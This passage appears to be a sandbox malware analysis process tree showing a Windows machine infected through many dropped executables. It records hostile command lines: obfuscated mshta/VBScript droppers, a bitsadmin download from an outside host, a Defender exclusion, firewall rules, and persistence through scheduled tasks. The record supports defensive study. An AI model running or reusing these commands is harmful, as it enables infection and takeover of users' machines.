"C:\Windows\System32\mshta.exe" VBscript: clOSe( creAteOBJECT( "WSCrIPt.sHElL" ).rUn ( "cMD /Q /c EcHo fDuz%RanDOm%hWPV>BPZetK~.NZD & eCho | sEt /P = ""MZ"" > YAnI.V & COPy /Y /b YANI.V + L0YE_.MQ +V3DggE~.P + FAPqTQ.HJ + 51QbM.RF + BPZetK~.NZD W72F~U.S8_ & staRt msiexec /y .\W72F~U.S8_ " , 0 , tRuE ) )
9⤵
PID:5896

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /c EcHo fDuz%RanDOm%hWPV>BPZetK~.NZD & eCho | sEt /P = "MZ" > YAnI.V &COPy /Y /b YANI.V +L0YE_.MQ +V3DggE~.P +FAPqTQ.HJ +51QbM.RF +BPZetK~.NZD W72F~U.S8_ &staRt msiexec /y .\W72F~U.S8_
10⤵
PID:3340

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCho "
11⤵
PID:6504

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>YAnI.V"
11⤵
PID:6636

C:\Windows\SysWOW64\msiexec.exe
msiexec /y .\W72F~U.S8_
11⤵
PID:7108

C:\Windows\SysWOW64\taskkill.exe
taskkill -f /im "Fri05cc28ce70b.exe"
8⤵
- Kills process with taskkill
PID:4624

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri0575b7d291a755f8.exe
4⤵
PID:1676

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri0575b7d291a755f8.exe
Fri0575b7d291a755f8.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1208

C:\Users\Admin\AppData\Roaming\2039105.exe
"C:\Users\Admin\AppData\Roaming\2039105.exe"
6⤵
- Executes dropped EXE
PID:4732

C:\Users\Admin\AppData\Roaming\2360874.exe
"C:\Users\Admin\AppData\Roaming\2360874.exe"
6⤵
- Executes dropped EXE
PID:808

C:\Users\Admin\AppData\Roaming\8665876.exe
"C:\Users\Admin\AppData\Roaming\8665876.exe"
6⤵
- Executes dropped EXE
PID:5556

C:\Users\Admin\AppData\Roaming\5097084.exe
"C:\Users\Admin\AppData\Roaming\5097084.exe"
6⤵
PID:5928

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
7⤵
PID:3852

C:\Users\Admin\AppData\Roaming\4304249.exe
"C:\Users\Admin\AppData\Roaming\4304249.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3760

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri05a277b9a3d2.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:2820

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05a277b9a3d2.exe
Fri05a277b9a3d2.exe
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1524

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05a277b9a3d2.exe
C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05a277b9a3d2.exe
6⤵
- Executes dropped EXE
PID:4244

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri055cc2a6e65.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3504

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri055cc2a6e65.exe
Fri055cc2a6e65.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:660

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
6⤵
PID:2248

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
7⤵
- Kills process with taskkill
PID:4436

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri05b5df5106928d62.exe
4⤵
PID:588

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05b5df5106928d62.exe
Fri05b5df5106928d62.exe
5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
PID:2100

C:\Users\Admin\Pictures\Adobe Films\r3oqeKmNeFYd1JnlCNsN8riu.exe
"C:\Users\Admin\Pictures\Adobe Films\r3oqeKmNeFYd1JnlCNsN8riu.exe"
6⤵
- Executes dropped EXE
PID:3332

C:\Users\Admin\Pictures\Adobe Films\fwQxF6gFvmRfM7KpaPloAtpN.exe
"C:\Users\Admin\Pictures\Adobe Films\fwQxF6gFvmRfM7KpaPloAtpN.exe"
6⤵
- Executes dropped EXE
PID:4896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4896 -s 656
7⤵
- Drops file in Windows directory
- Program crash
PID:5412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4896 -s 672
7⤵
- Program crash
PID:5788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4896 -s 684
7⤵
- Program crash
PID:5768

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4896 -s 664
7⤵
- Program crash
PID:5328

C:\Users\Admin\Pictures\Adobe Films\BO4JjbL6yI2h1u8PKocsKyp2.exe
"C:\Users\Admin\Pictures\Adobe Films\BO4JjbL6yI2h1u8PKocsKyp2.exe"
6⤵
PID:4884

C:\Users\Admin\Documents\_iyf6ppmfU_L8_RRj0zb2MSH.exe
"C:\Users\Admin\Documents\_iyf6ppmfU_L8_RRj0zb2MSH.exe"
7⤵
PID:4280

C:\Users\Admin\Pictures\Adobe Films\UhhWikdzDF1gXRVxpKaGvQHa.exe
"C:\Users\Admin\Pictures\Adobe Films\UhhWikdzDF1gXRVxpKaGvQHa.exe"
8⤵
PID:2956

C:\Users\Admin\Pictures\Adobe Films\rZ6XEf51fTyCvbujiDVBuo4D.exe
"C:\Users\Admin\Pictures\Adobe Films\rZ6XEf51fTyCvbujiDVBuo4D.exe"
8⤵
PID:3152

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
9⤵
PID:4296

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
10⤵
- Kills process with taskkill
PID:5416

C:\Users\Admin\Pictures\Adobe Films\Z_xkfFFlmPDfOIOM1w1AlMvW.exe
"C:\Users\Admin\Pictures\Adobe Films\Z_xkfFFlmPDfOIOM1w1AlMvW.exe"
8⤵
PID:3068

C:\Users\Admin\Pictures\Adobe Films\9jJxqUcTOdcMMBuJvFuAZBOD.exe
"C:\Users\Admin\Pictures\Adobe Films\9jJxqUcTOdcMMBuJvFuAZBOD.exe"
8⤵
PID:6268

C:\Users\Admin\Pictures\Adobe Films\B8e0eM7aeL_QyGoALNHnT7n5.exe
"C:\Users\Admin\Pictures\Adobe Films\B8e0eM7aeL_QyGoALNHnT7n5.exe" /mixtwo
8⤵
PID:6820

C:\Users\Admin\Pictures\Adobe Films\cVeEJFgLDKlslxyp9ab7t0Tb.exe
"C:\Users\Admin\Pictures\Adobe Films\cVeEJFgLDKlslxyp9ab7t0Tb.exe"
8⤵
PID:4032

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\cVeEJFgLDKlslxyp9ab7t0Tb.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\cVeEJFgLDKlslxyp9ab7t0Tb.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
9⤵
PID:6988

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\cVeEJFgLDKlslxyp9ab7t0Tb.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\cVeEJFgLDKlslxyp9ab7t0Tb.exe" ) do taskkill -f -iM "%~NxM"
10⤵
PID:7648

C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
11⤵
PID:8188

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
12⤵
PID:7392

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
13⤵
PID:4628

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
12⤵
PID:7000

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
13⤵
PID:7472

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" EcHo "
14⤵
PID:6536

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
14⤵
PID:6496

C:\Windows\SysWOW64\msiexec.exe
msiexec -Y ..\lXQ2g.WC
14⤵
PID:7476

C:\Windows\SysWOW64\taskkill.exe
taskkill -f -iM "cVeEJFgLDKlslxyp9ab7t0Tb.exe"
11⤵
- Kills process with taskkill
PID:4464

C:\Users\Admin\Pictures\Adobe Films\HLThYoSeznd3zHI4n5RJKWNj.exe
"C:\Users\Admin\Pictures\Adobe Films\HLThYoSeznd3zHI4n5RJKWNj.exe"
8⤵
PID:1696

C:\Users\Admin\AppData\Local\Temp\is-UQSC3.tmp\HLThYoSeznd3zHI4n5RJKWNj.tmp
"C:\Users\Admin\AppData\Local\Temp\is-UQSC3.tmp\HLThYoSeznd3zHI4n5RJKWNj.tmp" /SL5="$402F4,506127,422400,C:\Users\Admin\Pictures\Adobe Films\HLThYoSeznd3zHI4n5RJKWNj.exe"
9⤵
PID:2040

C:\Users\Admin\AppData\Local\Temp\is-39L5Q.tmp\DYbALA.exe
"C:\Users\Admin\AppData\Local\Temp\is-39L5Q.tmp\DYbALA.exe" /S /UID=2709
10⤵
PID:6484

C:\Program Files\Reference Assemblies\XLWDWOBAGP\foldershare.exe
"C:\Program Files\Reference Assemblies\XLWDWOBAGP\foldershare.exe" /VERYSILENT
11⤵
PID:5988

C:\Users\Admin\AppData\Local\Temp\92-0dc90-100-27ca9-7b391ab0f5a00\Foxevodyri.exe
"C:\Users\Admin\AppData\Local\Temp\92-0dc90-100-27ca9-7b391ab0f5a00\Foxevodyri.exe"
11⤵
PID:7732

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
dw20.exe -x -s 2348
12⤵
PID:8944

C:\Users\Admin\AppData\Local\Temp\13-9dc1f-de8-5dd86-c324c703b744c\Xojomowunae.exe
"C:\Users\Admin\AppData\Local\Temp\13-9dc1f-de8-5dd86-c324c703b744c\Xojomowunae.exe"
11⤵
PID:6364

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5qnk3vq4.bfb\GcleanerEU.exe /eufive & exit
12⤵
PID:7388

C:\Users\Admin\AppData\Local\Temp\5qnk3vq4.bfb\GcleanerEU.exe
C:\Users\Admin\AppData\Local\Temp\5qnk3vq4.bfb\GcleanerEU.exe /eufive
13⤵
PID:8704

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\olytiqci.als\installer.exe /qn CAMPAIGN="654" & exit
12⤵
PID:4112

C:\Users\Admin\AppData\Local\Temp\olytiqci.als\installer.exe
C:\Users\Admin\AppData\Local\Temp\olytiqci.als\installer.exe /qn CAMPAIGN="654"
13⤵
PID:8768

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\i3v2kce1.1yr\any.exe & exit
12⤵
PID:8084

C:\Users\Admin\AppData\Local\Temp\i3v2kce1.1yr\any.exe
C:\Users\Admin\AppData\Local\Temp\i3v2kce1.1yr\any.exe
13⤵
PID:8868

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1rtktmhc.dhv\gcleaner.exe /mixfive & exit
12⤵
PID:8248

C:\Users\Admin\AppData\Local\Temp\1rtktmhc.dhv\gcleaner.exe
C:\Users\Admin\AppData\Local\Temp\1rtktmhc.dhv\gcleaner.exe /mixfive
13⤵
PID:9000

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cxq1sb5a.b2s\autosubplayer.exe /S & exit
12⤵
PID:8396

C:\Users\Admin\AppData\Local\Temp\cxq1sb5a.b2s\autosubplayer.exe
C:\Users\Admin\AppData\Local\Temp\cxq1sb5a.b2s\autosubplayer.exe /S
13⤵
PID:9044

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsaCF28.tmp\tempfile.ps1"
14⤵
PID:9240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsaCF28.tmp\tempfile.ps1"
14⤵
PID:952

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsaCF28.tmp\tempfile.ps1"
14⤵
PID:10188

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsaCF28.tmp\tempfile.ps1"
14⤵
PID:9956

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsaCF28.tmp\tempfile.ps1"
14⤵
PID:1556

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsaCF28.tmp\tempfile.ps1"
14⤵
- Executes dropped EXE
PID:5188

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsaCF28.tmp\tempfile.ps1"
14⤵
PID:9572

C:\Windows\SysWOW64\bitsadmin.exe
"bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z
14⤵
- Download via BitsAdmin
PID:9688

C:\Users\Admin\Pictures\Adobe Films\ikBrN_hooz9PBFYeueiItFf6.exe
"C:\Users\Admin\Pictures\Adobe Films\ikBrN_hooz9PBFYeueiItFf6.exe"
8⤵
PID:7288

C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
9⤵
PID:7756

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"
10⤵
PID:5048

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1b0,0x1ac,0x1a8,0x1d4,0x1a4,0x7ffa3c37dec0,0x7ffa3c37ded0,0x7ffa3c37dee0
11⤵
PID:9752

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff6d1fb9e70,0x7ff6d1fb9e80,0x7ff6d1fb9e90
12⤵
PID:9804

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1624,2710797842027548908,1060858829919466621,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5048_1723806162" --mojo-platform-channel-handle=1688 /prefetch:8
11⤵
PID:10076

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1624,2710797842027548908,1060858829919466621,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5048_1723806162" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1640 /prefetch:2
11⤵
PID:10068

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
7⤵
- Creates scheduled task(s)
PID:4728

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
7⤵
- Creates scheduled task(s)
PID:6756

C:\Users\Admin\Pictures\Adobe Films\wf0tp0Zft8C_a31wVoDKwm8c.exe
"C:\Users\Admin\Pictures\Adobe Films\wf0tp0Zft8C_a31wVoDKwm8c.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4996

C:\Users\Admin\Pictures\Adobe Films\F7zczyWRscqkYp5_dw3VXJUK.exe
"C:\Users\Admin\Pictures\Adobe Films\F7zczyWRscqkYp5_dw3VXJUK.exe"
6⤵
- Executes dropped EXE
PID:4968

C:\Users\Admin\Pictures\Adobe Films\v7t3PuQEhKurwc5s863lggaK.exe
"C:\Users\Admin\Pictures\Adobe Films\v7t3PuQEhKurwc5s863lggaK.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:4948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
7⤵
PID:5452

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
7⤵
PID:5516

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
7⤵
PID:4176

C:\Windows\SYSTEM32\schtasks.exe
schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
7⤵
- Creates scheduled task(s)
PID:6496

C:\Windows\System\svchost.exe
"C:\Windows\System\svchost.exe" formal
7⤵
PID:1844

C:\Users\Admin\Pictures\Adobe Films\53Z5mvYcpIKH0BRdAiVjxTR3.exe
"C:\Users\Admin\Pictures\Adobe Films\53Z5mvYcpIKH0BRdAiVjxTR3.exe"
6⤵
- Executes dropped EXE
PID:4936

C:\Users\Admin\Pictures\Adobe Films\MV322BxAF64ghLSmEVTcxYlh.exe
"C:\Users\Admin\Pictures\Adobe Films\MV322BxAF64ghLSmEVTcxYlh.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4924

C:\Users\Admin\Pictures\Adobe Films\MV322BxAF64ghLSmEVTcxYlh.exe
"C:\Users\Admin\Pictures\Adobe Films\MV322BxAF64ghLSmEVTcxYlh.exe"
7⤵
PID:5168

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri0541e16ce794d258f.exe
4⤵
PID:1868

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri0541e16ce794d258f.exe
Fri0541e16ce794d258f.exe
5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2108

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri05890d11cdb13f95e.exe
4⤵
PID:4068

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri05890d11cdb13f95e.exe
Fri05890d11cdb13f95e.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1912

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
6⤵
PID:804

C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe
"C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3560

C:\ProgramData\5848712.exe
"C:\ProgramData\5848712.exe"
8⤵
PID:6448

C:\ProgramData\628507.exe
"C:\ProgramData\628507.exe"
8⤵
PID:2224

C:\ProgramData\1006857.exe
"C:\ProgramData\1006857.exe"
8⤵
PID:7100

C:\ProgramData\3026318.exe
"C:\ProgramData\3026318.exe"
8⤵
PID:6840

C:\Users\Admin\AppData\Local\Temp\inst1.exe
"C:\Users\Admin\AppData\Local\Temp\inst1.exe"
7⤵
- Executes dropped EXE
PID:988

C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe
"C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"
7⤵
- Executes dropped EXE
PID:4140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 900
8⤵
- Program crash
PID:5780

C:\Users\Admin\AppData\Local\Temp\4.exe
"C:\Users\Admin\AppData\Local\Temp\4.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4208

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4208 -s 1492
8⤵
- Executes dropped EXE
- Program crash
PID:804

C:\Users\Admin\AppData\Local\Temp\5.exe
"C:\Users\Admin\AppData\Local\Temp\5.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4300

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4300 -s 1508
8⤵
- Program crash
PID:4800

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
7⤵
- Executes dropped EXE
PID:4380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4380 -s 808
8⤵
- Program crash
PID:6416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4380 -s 840
8⤵
- Program crash
PID:4952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4380 -s 880
8⤵
- Program crash
PID:4328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4380 -s 952
8⤵
- Program crash
PID:200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4380 -s 956
8⤵
- Program crash
PID:2008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4380 -s 932
8⤵
- Program crash
PID:628

C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4500

C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
8⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:2712

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"
9⤵
PID:8264

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1c8,0x1c4,0x1c0,0x198,0x1bc,0x7ffa3c37dec0,0x7ffa3c37ded0,0x7ffa3c37dee0
10⤵
PID:9084

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1536,9498855479496855205,4391032854857442947,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8264_1774945883" --mojo-platform-channel-handle=1676 /prefetch:8
10⤵
PID:8392

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1536,9498855479496855205,4391032854857442947,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8264_1774945883" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1540 /prefetch:2
10⤵
PID:8664

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
